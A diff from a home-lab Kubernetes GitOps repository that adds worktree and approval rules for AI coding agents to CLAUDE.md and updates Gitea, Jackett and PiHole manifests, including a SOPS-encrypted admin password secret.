+    AGENT_BASE="${REGISTRY}/${NAMESPACE}/toolbox@${DIGEST[toolbox]:?no toolbox digest to build agent-runner from}"
+  fi
+  info "agent-runner base: $( [ "${AGENT_BASE}" = link ] && echo "the toolbox built in this run (bake target: context)" || echo "${AGENT_BASE}")"
+  build_one agent-runner "${AGENT_BASE}"
+fi
+if [ -n "${WANT[conformance-runner]:-}" ]; then build_one conformance-runner; fi
+
+# --- summary ------------------------------------------------------------------------------
+{
+  echo "## Images (${MODE})"
+  echo
+  echo "commit \`${HEAD_SHA}\` — builder: rootless BuildKit \`${BUILDKIT_HOST}\` (mTLS)"
+  echo
+  echo "| image | verify target built | seconds | published digest (registry-returned) | note |"
+  echo "|---|---|---|---|---|"
+  for i in "${ALL_IMAGES[@]}"; do
+    d="${DIGEST[$i]:-}"
+    echo "| \`${i}\` | $(yn "${BUILT[$i]:-}" yes no) | ${SECS[$i]:--} | $(yn "${d}" "\`${REGISTRY}/${NAMESPACE}/${i}@${d}\`" -) | ${NOTE[$i]:-inputs unchanged} |"
+  done
+  echo
+  if [ "${MODE}" = publish ]; then
+    echo "Tags pushed: \`${SHA_TAG}\` (immutable) and \`${MOVING_TAG}\` (moving)."
+    echo "Nothing here writes to git. Renovate opens the digest-bump PR on its next run."
+  else
+    echo "Verify mode: nothing was pushed and no registry credential was present."
+  fi
+} >>"${SUMMARY}"
+log "done"

.gitignore

@@ -37,6 +37,14 @@ coverage/
 infra/tofu/backend.hcl
 infra/tofu/.r2.env
 
+# Operator scratch, writable from inside the dev container (the repo is its only persistent
+# read-write mount). Holds things that must never be committed: a staged copy of the SOPS age or
+# WireGuard key, rendered VPN client profiles (infra/vpn-ingress/new-peer.sh writes here by
+# default). `infra/ansible/.gitignore` already does this for its own .cache/; this is the same
+# convention at the root. Do NOT rely on `*.key` alone to protect a staged key — that only covers
+# one filename shape, which is why this rule exists.
+.cache/
+
 # Claude Code local scratch: agent worktrees + session state. Nothing here is tracked;
 # ignoring it keeps `git add -A` from staging embedded worktree repos and keeps the lint
 # stage (which scans untracked files) from tripping on .claude/worktrees/.

CLAUDE.md

@@ -4,6 +4,125 @@ Read this before doing anything durable. It is the delivery contract for AI codi
 sessions and agents. The newest entry in `decisions/` is the current PM handoff and
 takes precedence on *what* to work on; this file governs *how* it lands.
 
+**Start with §0.** It is first because it is the rule you can break before you have read
+anything else: the very first `git checkout -b` in the wrong directory has already done the
+damage.
+
+## 0. Work in your OWN workspace. Never in the shared checkout.
+
+Before you create a branch, edit a file, or run `git` anything: **make yourself a git
+worktree outside the repository root, and do all of your work there.** One workspace per
+agent run, no exceptions.
+
+    # from the shared checkout, ONCE, at the start of your run
+    git fetch origin main
+    git worktree add -b <type>/<slug> /path/outside/the/repo/wt-<slug> origin/main
+    cd /path/outside/the/repo/wt-<slug>        # everything after this happens HERE
+
+`/path/outside/the/repo` means outside this repository's tree — your session scratchpad,
+or a sibling like `/var/home/keith/source/wt-<slug>`. Branch from **`origin/main`**, never
+from `main` and never from `HEAD`; see "stale base" below.
+
+**The shared checkout is `/var/home/keith/source/home-network-k3s-impl`** — the operator's
+working copy, the one you are probably started in. In it, do **not**:
+
+- **`git checkout` / `git switch` / `git checkout -b`.** Its HEAD is shared state; moving
+  it moves the tree out from under whoever else is using it.
+- **edit, create or delete a file.** Including "just one doc", including a file you intend
+  to move later.
+- **`git add` / `git commit` / `git stash` / `git restore`.** `git add -A` there stages
+  whatever another agent left lying around; `git stash` *removes* their uncommitted work
+  into a place they will not look.
+- **`git worktree remove` anything you did not create.**
+
+Read-only commands there are fine, and the one write you do need is creating your own
+worktree.
+
+### Why — measured in the shared checkout, 2026-10-05
+
+| What was measured | Value |
+|---|---|
+| `checkout: moving` entries in its reflog | **107** — the tree has been yanked between branches 107 times |
+| the branch it was sitting on | `feat/pm-agent-issue-to-pr` — **not `main`** |
+| uncommitted trees left in it by other runs | **2** (`infra/agent/`, `platform/pm-agent/`), mtimes five minutes apart the same evening |
+| its local `main` vs `origin/main` | **two commits behind** (`4386d14` vs `22c94ef`) |
+| registered worktrees | **42**, of which **31** are on branches already merged to `main` |
+| gate scripts carrying an explicit `.claude/` exclusion | **9** |
+
+Each row is a distinct way the shared checkout damages work:
+
+- **Dirty tree, foreign files.** Two other runs' uncommitted directories were sitting in
+  it. An agent that edits there and runs `git add -A` ships someone else's half-finished
+  work inside its own PR, and the PR's author has no idea what those files are. This is not
+  hypothetical and it is not historical: **eleven minutes after those two directories were
+  measured, while this very section was being written, another run committed them** —
+  `5334abe feat(pm-agent): ...`, 1,000+ lines across `infra/agent/`, `clusters/`, `catalog/`
+  and `apps/` — onto the shared checkout's checked-out branch, moving its HEAD under anyone
+  reading it. Had this rule's author been working in that tree rather than in a worktree,
+  that commit and this one would have collided.
+- **Stale base.** Its `main` was two commits behind `origin/main`, so
+  `git checkout -b x main` there branches off a tree that is already not what CI will merge
+  into — the gate you run locally proves a base nobody else has. Worse, it was not even *on*
+  `main`: a bare `git checkout -b x` would have branched off `feat/pm-agent-issue-to-pr` and
+  silently inherited that work into your PR. `git fetch` first, and name `origin/main`
+  explicitly as the start point.
+- **Shared HEAD.** 107 branch switches in one tree is 107 chances to switch it while
+  another agent is mid-edit. The loser's changes are either carried onto the wrong branch
+  or lost to a checkout conflict — and the symptom surfaces in *their* session, not yours.
+
+### Put the workspace OUTSIDE the repo root
+
+A worktree *inside* the tree (`.claude/worktrees/agent-*/` — which is where Claude Code's
+own default puts it) is a full second copy of the repo that every tree-walking check then
+finds. Measured 2026-09-12: `find`-based discovery reported **the same manifest under test
+once per worktree, up to 18 times**, and the L0 check comparing that listing against the
+tree failed on paths that are not authored surface at all
+(`platform/monitoring/tests/run.sh:115-123`). Nine gate scripts now carry an explicit
+`.claude/` prune for this reason — which means the hazard is *worked around*, not fixed,
+and the next check that walks the tree will hit it again. Keep the copy out of the tree and
+none of that applies.
+
+### Clean up — and expect not to be able to
+
+31 of the 42 registered worktrees are on branches already merged to `main`. A registered
+worktree **pins its branch**: while it exists, that branch cannot be deleted or checked out
+anywhere else. So a left-behind workspace is a lock on a branch name, and the cost lands on
+whoever next needs it.
+
+Remove yours when you are done:
+
+    git worktree remove /path/outside/the/repo/wt-<slug>
+
+Measured 2026-10-05: on a worktree **you created yourself, in the session scratchpad**, that
+command **succeeds** — rc 0, no prompt, with or without a branch checked out. The "worktree
+removal is sandbox-blocked" note in circulation is about the `.claude/worktrees/agent-*` ones
+belonging to *other* sessions, some of which are additionally `locked` on git's own terms. So:
+remove yours, and only yours. If removal is refused, say so in your handoff and leave the
+worktree registered — do **not** `rm -rf` the directory, which leaves a registered worktree
+pointing at nothing and still holding the branch.
+
+If someone *else's* stale worktree is holding the branch you need, do not try to reclaim the
+branch name. Push a `rework/<pr-number>` branch to the PR's refspec instead.
+
+### If you are already standing in the shared checkout with edits
+
+Stop. Do not `git stash` (that moves other agents' work too). Create your worktree as
+above, redo the edits there, and leave the shared checkout's HEAD and working tree exactly
+as you found them.
+
+### Gating from a worktree
+
+Three known breakages, all with workarounds, all required every run: see §3, "Running the
+gate from a worktree".
+
+### If you are writing a brief for another agent
+
+The brief must name **its own explicit branch** and tell it to create **its own worktree**
+from `origin/main`. "Work on the current branch" and "continue in the checkout" are how
+branch sprawl and cross-contamination got here: an agent given no workspace uses the one it
+is started in, which is the shared one. Also carry §3's three gate workarounds into the
+brief — an agent that cannot gate will report rc 3 as green.
+
 ## 1. Never push to `main`. Ever.
 
 Every durable change reaches `main` exactly one way:
@@ -14,7 +133,58 @@ There is no other path. Specifically:
 
 - **Do not `git push origin main`.**
 - **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
-- **Do not merge your own PR.** A human approves and clicks merge.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
+
+**The administrator override (2026-10-01).** The rule above was unsatisfiable for the one human
+who runs this repo: Gitea refuses to let an author approve their own PR, and `jakman85` is the
+only collaborator — so a sensitive-path PR the operator opened could never be merged, *including
+the PR that would fix that.* An administrator may therefore waive the review by posting this on
+the PR:
+
+    /approve-override <reason>
+
+**Post it as a PR *review* of type "Comment", not in the plain comment box.** CI's
+`SETTINGS_API_TOKEN` is minted `[read:repository, read:admin]`, and `/issues/{n}/comments` sits
+behind Gitea's *issue* scope — so an override typed into the comment box is **invisible to CI**,
+and the stage reports it as a missing approval rather than as a permission problem (measured on
+PR #38, 2026-10-02). `/pulls/{n}/reviews` is readable, so a review body works today. Both sources
+are accepted and the gate names which it used; the comment box starts working once
+`infra/gitea/set-ci-token.sh` is re-run to pick up `read:issue`.
+
+The directive must **start a line**, the **reason is mandatory**, the poster's `admin`/`owner`
+permission is re-checked **live** when the gate runs, and it must be **newer than the
+head commit** — push again and you must override again. The overrider, the timestamp and the
+reason are printed in the gate log and the job summary. For an administrator, "a change to the
+gate cannot be gated by the gate" is therefore **advisory, not structural**; what is kept is an
+attributed record of each waiver. Note that the agent account `gitea-admin` also holds `owner`
+here, so an agent *can* clear this on its own PR — **do not**: posting that directive to unblock
+your own agent work is exactly the self-approval the stage exists to prevent. Get the operator
+to post it, or move the change out of the sensitive paths.
+
+**`required_approvals` on `main` is `0`**, not 1 — the gate is the approver. That drops the
+approval *count* only: `block_admin_merge_override` and `enable_status_check` both remain `true`,
+so **a red gate is unmergeable by everyone, administrators included.**
 - **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
   anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
 
@@ -32,12 +202,19 @@ Verified against the live Gitea on 2026-09-29:
 | `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
 | PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
 | Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
-| Approval required before merge | ✅ `required_approvals: 1` |
+| Gate cannot be overridden, by anyone | ✅ `block_admin_merge_override: true` |
+| Human approval required before merge | ⬜ **No — `required_approvals: 0` since 2026-10-01.** The gate is the approver; sensitive paths are gated by `ci/approval-policy.sh` instead. See §1 |
 
-All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
+The first three were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
 true. They are true now because each was measured, and the push rejection was provoked rather
 than assumed. **Re-measure before relying on any of them** — see §2b.
 
+The fourth row deliberately changed on 2026-10-01. `required_approvals: 1` was a **lock-out**, not
+a protection: with a single collaborator and Gitea refusing author self-approval, nothing could
+satisfy it (measured on PR #35 — green gate, zero reviews, unmergeable). It also contradicted the
+model already written into `ci/approval-policy.sh` and `ci/gate.sh`. Rationale and the live-change
+script: `infra/gitea/allow-admin-self-merge.sh`.
+
 Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
 CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
 
@@ -89,15 +266,21 @@ Exit codes are a contract — do not flatten them:
 | 3 | UNDETERMINED — a stage did not run. **Never report this as green.** |
 
 `spec-immutability` reaches rc 3 whenever the sibling spec repo is not checked out
-beside this one; that single skip is expected and tolerated. Any *other* skip is a
-real gap in your run.
+beside this one; that single skip is expected and tolerated — and from a worktree it is
+avoidable outright (§3's worktree list, item 3). `gitea-settings` is the other expected
+skip: it needs `SETTINGS_API_TOKEN`, which exists only in CI, so **a local run cannot
+return 0** — the honest best local result is rc 3 with `gitea-settings` as the only stage
+that did not run. Any *further* skip is a real gap in your run. Report the rc and name the
+skipped stages; never round rc 3 up.
 
 **Never gate on the host.** `promtool` and `kustomize` are not on the host `$PATH`,
 so checks SKIP and you get a false rc 3. Only the pinned toolbox result counts.
 
-### Running the gate from a git worktree
+### Running the gate from a worktree
 
-Two unrelated failures, both with known workarounds — put both in any agent brief:
+This is the **normal** path, not an edge case — §0 requires you to be in a worktree, so
+every gate run you do hits all of these. Three known breakages, all with
+workarounds, all of them yours to apply every run — put them in any agent brief:
 
 1. **`dev.sh` refuses to start:** `infra/ansible/.cache/prod.kubeconfig` is untracked
    and exists only in the main checkout. Do **not** copy it (it is a credential).
@@ -108,10 +291,17 @@ Two unrelated failures, both with known workarounds — put both in any agent br
    the `ENGINE` hook — a shim that intercepts `run` and re-execs
    `podman run -v /path/to/main/.git:/path/to/main/.git:ro "$@"`. A traceback in
    `tracked_files()` is this bug, not a broken tree.
+3. **`spec-immutability` skips** — the skip called tolerated above is also *avoidable*. `dev.sh`
+   derives the sibling spec path from its own `REPO_ROOT`, which in a worktree is your
+   workspace, so `../home-network-k3s` does not resolve and it adds no mount. Mount the spec
+   repo read-only in the same `ENGINE` shim and pass `-e SPEC_REPO=/home-network-k3s`: with
+   both mounts the stage reports `pass`, not SKIPPED, and R-TEST-06 is actually covered
+   (measured — `decisions/2026-10-01-render-selftest-runs-in-gate.md`).
 
 ## 4. Branch naming
 
-Use `feat/`, `fix/`, `docs/`, `chore/`. Note that `.gitea/workflows/gate.yml`'s **push**
+Use `feat/`, `fix/`, `docs/`, `chore/`. **One branch, one workspace, one PR** — if you
+need a second branch, make a second worktree (§0); do not re-point an existing one. Note that `.gitea/workflows/gate.yml`'s **push**
 trigger lists `feature/**` — not `feat/**` — so branch pushes get no fast-feedback run.
 The `pull_request` trigger fires regardless of branch name, so the PR gate is unaffected.
 

README.md

@@ -11,6 +11,9 @@ specification** at [`../home-network-k3s`](../home-network-k3s).
 - **Done = a green, reproducible, requirement-tagged conformance test** — never "merged," never a
   manual demo (spec `docs/14`, `agents/definition-of-done.md`).
 - **No work on `main`.** Every change is a feature branch merged into `main` (spec `CONTRIBUTING.md`).
+- **No work in a shared checkout.** Every agent run gets its own git worktree, outside the repo
+  root, branched from `origin/main`. This checkout is shared mutable state — see
+  [`CLAUDE.md` §0](CLAUDE.md).
 - **No plaintext secrets** — SOPS-encrypted only (spec `docs/07`).
 - **Phase discipline** — only build what the active roadmap phase authorizes (spec `roadmap/phases.md`).
 
@@ -21,7 +24,8 @@ infra/          node provisioning: OpenTofu (Proxmox VE) + cloud-init + Ansible,
 bootstrap/      one-time cluster bootstrap: Flux install, SOPS/age key, host Gitea
 platform/       platform CONTROLLERS (Flux HelmReleases / operator bases): kyverno, cilium,
                 longhorn, external-snapshotter, cert-manager, externaldns, gateway, coredns,
-                vpn-egress, monitoring, cnpg, keycloak, oauth2-proxy, kubevirt
+                vpn-egress, vpn-ingress, monitoring, cnpg, keycloak, oauth2-proxy, kubevirt
+                (vpn-egress = pods OUT via PIA; vpn-ingress = remote clients IN via WireGuard)
 platform-config/ platform CONFIGS — the custom resources of the CRDs installed above
                 (ClusterIssuers, Gateway, Kyverno policies, KubeVirt/CDI CRs, Keycloak CRs).
                 Split out because CRs and the CRDs they use cannot apply in one pass.
@@ -94,6 +98,20 @@ The running narrative — decisions, root causes, incidents, follow-ups — is
 
 ## Working on this repo
 
+**First, get out of this checkout.** It is the operator's working copy and several agents
+share it; concurrent runs here have overwritten each other's branches and left each other's
+uncommitted files behind. One workspace per change:
+
+```bash
+git fetch origin main
+git worktree add -b <type>/<slug> /path/outside/the/repo/wt-<slug> origin/main
+cd /path/outside/the/repo/wt-<slug>
+```
+
+Outside the repo root specifically — a worktree under `.claude/worktrees/` is a second full
+copy that tree-walking gate checks then count twice. The rule, the measurements behind it, and
+the three gate workarounds a worktree needs are in [`CLAUDE.md` §0](CLAUDE.md) and §3.
+
 Everything the gate needs is baked into the pinned dev container — **do not install the
 toolchain on the host**:
 

apps/vms/unifi/50-service-l4.yaml

@@ -100,6 +100,11 @@ metadata:
     # external-dns (source: service) publishes A unifi.home.keithjackson.dev -> the pinned VIP.
     # This is the browser + device target; UI is https://unifi.home.keithjackson.dev:11443.
     external-dns.alpha.kubernetes.io/hostname: "unifi.${BASE_DOMAIN}"
+    # DNS-ONLY, NEVER PROXIED (2026-11-08). external-dns runs with --cloudflare-proxied globally (the
+    # gateway names point at the Cloudflare Tunnel); Cloudflare's proxy carries HTTP(S) only, so an
+    # orange-clouded A for these L4 ports would be broken. Required by the L0 check
+    # internal-services-publish-no-public-dns (9b) on every `service`-source publisher.
+    external-dns.alpha.kubernetes.io/cloudflare-proxied: "false"
 spec:
   type: LoadBalancer
   externalTrafficPolicy: Cluster

apps/wave-0/gitea.yaml

@@ -78,7 +78,7 @@ spec:
     spec:
       containers:
       - name: gitea
-        image: gitea/gitea:1.24.3
+        image: gitea/gitea:28.3.0
         ports:
         - containerPort: 3000
         env:
@@ -89,14 +89,18 @@ spec:
             secretKeyRef:
               name: gitea-bootstrap
               key: secret-key
-        - name: GITEA__server__DOMAIN
-          value: gitea.${BASE_DOMAIN}
         - name: GITEA__server__ROOT_URL
           value: https://gitea.${BASE_DOMAIN}/
         - name: GITEA__actions__ENABLED
           value: 'true'
         - name: GITEA__actions__DEFAULT_ACTIONS_URL
           value: github
+        - name: GITEA__actions__RUN_RETENTION_DAYS
+          value: '400'
+        - name: GITEA__security__EGRESS_MODE
+          value: lax
+        - name: GITEA__service__DISABLE_REGISTRATION
+          value: 'true'
         - name: GITEA_ADMIN_USERNAME
           valueFrom:
             secretKeyRef:
@@ -191,6 +195,27 @@ spec:
       - port: '3000'
         protocol: TCP
 ---
+# CiliumNetworkPolicy in-cluster client ingress allow (R-NET-02): gitea-allow-pm-agent-ingress
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: gitea-allow-pm-agent-ingress
+  namespace: gitea
+  labels:
+    app.kubernetes.io/name: gitea
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: gitea
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: pm-agent
+    toPorts:
+    - ports:
+      - port: '3000'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): gitea-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

apps/wave-0/jackett.yaml

@@ -78,14 +78,14 @@ spec:
     spec:
       containers:
       - name: jackett
-        image: lscr.io/linuxserver/jackett:latest
+        image: lscr.io/linuxserver/jackett:v0.24.3025-ls29
         ports:
         - containerPort: 9117
         volumeMounts:
         - name: config
           mountPath: /config
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -100,11 +100,15 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://jackett.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --cookie-name=_oauth2_proxy_jackett
+        - --cookie-domain=jackett.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -125,6 +129,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -237,6 +244,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): jackett-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: jackett-allow-monitoring-scrape
+  namespace: jackett
+  labels:
+    app.kubernetes.io/name: jackett
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: jackett
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): jackett-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

apps/wave-0/kustomization.yaml

@@ -14,10 +14,12 @@ resources:
 - nextcloud-db-backup-credentials-prod.sops.yaml
 - nextcloud-db-backup-credentials.sops.yaml
 - nextcloud-db.yaml
+- pihole-bootstrap-secret.sops.yaml
 - pihole-dns.yaml
 - pihole-oauth2-proxy-credentials.sops.yaml
 - pihole.yaml
 - plex-claim-secret.sops.yaml
+- plex-remote.yaml
 - plex.yaml
 - qbittorrent-bootstrap-secret.sops.yaml
 - qbittorrent-oauth2-proxy-credentials.sops.yaml

apps/wave-0/nextcloud-db.yaml

@@ -48,7 +48,7 @@ spec:
   # Scaling out is non-disruptive: CNPG creates -2 then -3 sequentially, each seeded by
   # pg_basebackup from the running primary, which is neither restarted nor disconnected.
   instances: 3
-  imageName: ghcr.io/cloudnative-pg/postgresql:16.4
+  imageName: ghcr.io/cloudnative-pg/postgresql:16.15
   # Stamp app.kubernetes.io/name=nextcloud-db onto every generated pod/service so the rendered
   # nextcloud egress CiliumNetworkPolicy's toEndpoints selector matches the primary pod (R-NET-02).
   inheritedMetadata:
@@ -300,7 +300,7 @@ spec:
               # is already in it and it is already present on every node, so this
               # adds no new image and no new supply-chain surface. Keep the tag in
               # step with spec.imageName above when Renovate bumps it.
-              image: ghcr.io/cloudnative-pg/postgresql:16.4
+              image: ghcr.io/cloudnative-pg/postgresql:16.15
               imagePullPolicy: IfNotPresent
               command:
                 - psql

apps/wave-0/pihole-bootstrap-secret.sops.yaml

@@ -0,0 +1,72 @@
+# =================================================================================================
+# PiHole WEB/API ADMIN PASSWORD — the one piece of PiHole state that was NOT declared anywhere.
+# =================================================================================================
+# WHY THIS FILE EXISTS. Measured on live prod 2026-10-04, `pihole.toml` marks every non-default
+# setting with `### CHANGED`, and names the ones that came from the environment `### CHANGED (env)`.
+# The complete list was:
+#
+#     dns.upstreams          ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.listeningMode      ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.rateLimit.count    ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     misc.dnsmasq_lines     ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     files.macvendor        ### CHANGED         <- set by the image itself, container path
+#     webserver.api.pwhash   ### CHANGED         <- SET OUT OF BAND. Declared NOWHERE. This file.
+#
+# So exactly ONE operator-set value lived only on the Longhorn PVC: the admin password, as a
+# one-way BALLOON-SHA256 hash. Nobody could recover it (a hash does not reverse), nothing in git
+# produced it, and a rebuild from git would have come up with a DIFFERENT password — or none.
+#
+# THE REASON THIS BLOCKS HA, which is why it is fixed first. The next step is running more than one
+# PiHole replica, and a replica with a fresh PVC would come up with its own unrelated password. The
+# admin UI would then accept or reject the same credential depending on which pod answered. Declaring
+# it here makes every replica, and every rebuild, identical by construction.
+#
+# MECHANISM: `webserver.api.password` is a real, settable FTL config key — verified in the running
+# image, where `pihole setpassword` is itself just `setFTLConfigValue "webserver.api.password"` with
+# the comment "pihole-FTL will automatically hash the password". So FTL takes CLEARTEXT on this key
+# and writes the hash into `webserver.api.pwhash` itself. catalog/pihole.yaml therefore passes this
+# value as `FTLCONF_webserver_api_password`, and the hash on the PVC becomes a derived artefact
+# rather than the source of truth.
+#
+# DEFENCE IN DEPTH, NOT THE ONLY GATE. The admin UI is already behind the oauth2-proxy sidecar
+# (`--allowed-group=platform-admins`), so this password is a SECOND gate. It is kept rather than set
+# empty because the `pihole` Service still publishes port 80 (PiHole direct, bypassing the proxy on
+# :4180) and only the CiliumNetworkPolicy closes it — and the default-deny policy in this repo has a
+# documented drift history. An unauthenticated admin UI that can rewrite LAN DNS is not a good thing
+# to leave resting on one policy staying correct. Narrowing that Service port is tracked follow-up.
+#
+# ROTATION: `sops` this file in your own terminal, change the value, commit. Flux re-applies the
+# Secret, the pod restarts, FTL re-hashes. Do NOT `sops -d` it into a shared terminal or a log
+# (CLAUDE.md section 6); read it in an editor. The value below was generated randomly at authoring
+# time and has never been printed to a transcript.
+apiVersion: v1
+kind: Secret
+metadata:
+    name: pihole-bootstrap
+    namespace: pihole
+    labels:
+        app.kubernetes.io/name: pihole
+type: Opaque
+stringData:
+    #ENC[AES256_GCM,data:TMOuRyJeb5IVn3lZPXY7lgh1KGxu7GY9+WIOLHpMB50JqzmM2tHIaWUWKTt1JtZoX/E5/Y7WCUTnfkJLhRBN2zV2MwWRBSLYVy5CMg7xV8PTLRZJYAVUYS5Trg==,iv:q+DpfT6PQfY5ZuNsmP7Ddl+PDLjSm89fJICAhYoW64k=,tag:axijaO3DaxIZgZ3LeK2hXA==,type:comment]
+    webui-password: ENC[AES256_GCM,data:7FcK/bUW79M46f/MlouAmATKbMnoUTNuMUjtqJ5vpU4=,iv:I8DBFB39uXZV42Ie2IPwSefmMgdKEtiDknfc9Tu7h5E=,tag:L423784UrDU3TvylpHc6KQ==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB0MkRSNjZLZlpXYkcvaVJL
+            cjlqb2wrcWREZnZLdGpsTHNPWEpseHlRZnpjCnJVM1FDQ2M2dXlaS1JBZ2k2V1BP
+            Yi9QUDZSMzZsL09pTi93RTdjdGxtY2MKLS0tIDIrQTZIVWdhMGIxSCtlUFN2Mlho
+            SWVybld4VjJyaHRSKzZZU0xsUUV2SEEKbDYHV/qBZVspK7DpBW3vYjRMJ/HmAN+9
+            G9bOlNEp0jAtcNZEn6lpQ9ORgvmIrhJHoBQRLabdMWzNWSZsNn56tA==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-10-04T06:01:27Z"
+    mac: ENC[AES256_GCM,data:rhTMTOwLOtHXHgqI5M2ZW/6w+UpLpxBlTk7NoN0wmGSqOcE+OGrXA1DhkZrJweyQT0RSNSSBm/6QMztLP81eepOzdp2rEkwvbQPK/l6K9g16Ww9c1IatS3NQsKEB8AoMDx7jBQ6exXYgggPx3MJsNYbE+WyloQ96U9KPdrecAM8=,iv:n34v2zX9D5xsaR1PFCH94mNMiuRfhUyI2lseUCoqiTA=,tag:9YmN9nIVLXfsGYIb0bUl2w==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/wave-0/pihole.yaml

@@ -35,34 +35,18 @@ spec:
     - protocol: TCP
       port: 53
 ---
-# PVC pihole-config (R-STATE)
-apiVersion: v1
-kind: PersistentVolumeClaim
-metadata:
-  name: pihole-config
-  namespace: pihole
-  labels:
-    app.kubernetes.io/name: pihole
-spec:
-  accessModes:
-  - ReadWriteOnce
-  storageClassName: longhorn
-  resources:
-    requests:
-      storage: 2Gi
----
-# Deployment (R-PLAT-02)
+# StatefulSet (R-PLAT-02)
 apiVersion: apps/v1
-kind: Deployment
+kind: StatefulSet
 metadata:
   name: pihole
   namespace: pihole
   labels:
     app.kubernetes.io/name: pihole
 spec:
-  replicas: 1
-  strategy:
-    type: Recreate
+  replicas: 2
+  serviceName: pihole
+  podManagementPolicy: Parallel
   selector:
     matchLabels:
       app.kubernetes.io/name: pihole
@@ -78,7 +62,7 @@ spec:
     spec:
       containers:
       - name: pihole
-        image: pihole/pihole
+        image: pihole/pihole:2026.10.1
         ports:
         - containerPort: 80
         env:
@@ -89,12 +73,24 @@ spec:
         - name: FTLCONF_dns_rateLimit_count
           value: '0'
         - name: FTLCONF_misc_dnsmasq_lines
-          value: address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}
+          value: local-ttl=60;address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP};address=/plex-vip.${BASE_DOMAIN}/${PLEX_L4_VIP}
+        - name: FTLCONF_webserver_api_password
+          valueFrom:
+            secretKeyRef:
+              name: pihole-bootstrap
+              key: webui-password
         volumeMounts:
         - name: config
-          mountPath: /data/config
+          mountPath: /etc/pihole
+        lifecycle:
+          postStart:
+            exec:
+              command:
+              - /bin/bash
+              - -c
